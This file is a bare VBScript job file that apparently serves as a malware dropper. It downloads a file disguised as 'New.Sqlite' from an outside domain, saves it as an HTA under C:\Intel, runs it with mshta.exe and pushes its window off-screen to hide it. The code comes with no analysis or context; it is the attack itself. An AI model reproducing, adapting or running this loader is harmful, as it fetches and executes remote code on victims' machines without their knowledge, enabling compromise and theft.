<job id="0.0.0.0">
<script language="VBScript">

HTTPDownload "http://alwatenvoice.com/Sun/New.Sqlite", "C:\Intel\K.hta"

Sub HTTPDownload( myURL, myPath )

Dim i, objFile, objFSO, objHTTP, strFile, strMsg
    Const ForReading = 1, ForWriting = 2, ForAppending = 8


    Set objFSO = CreateObject( "Scripting.FileSystemObject" )



    If objFSO.FolderExists( myPath ) Then
        strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 100 ) )
    ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
        strFile = myPath
    Else
     '   WScript.Echo "ERROR: Target folder not found."
        Exit Sub
    End If


    Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )


    Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )


    objHTTP.Open "GET", myURL, False
    objHTTP.Send


    For i = 1 To LenB( objHTTP.ResponseBody )
        objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
    Next
    Set objShell = CreateObject("Shell.Application")
    objShell.ShellExecute "C:\windows\system32\mshta.exe", "C:\Intel\K.hta", "", ""
    window.moveTo -5000, -5000
    window.close
    objFile.Close( )
End Sub
</script>
</job>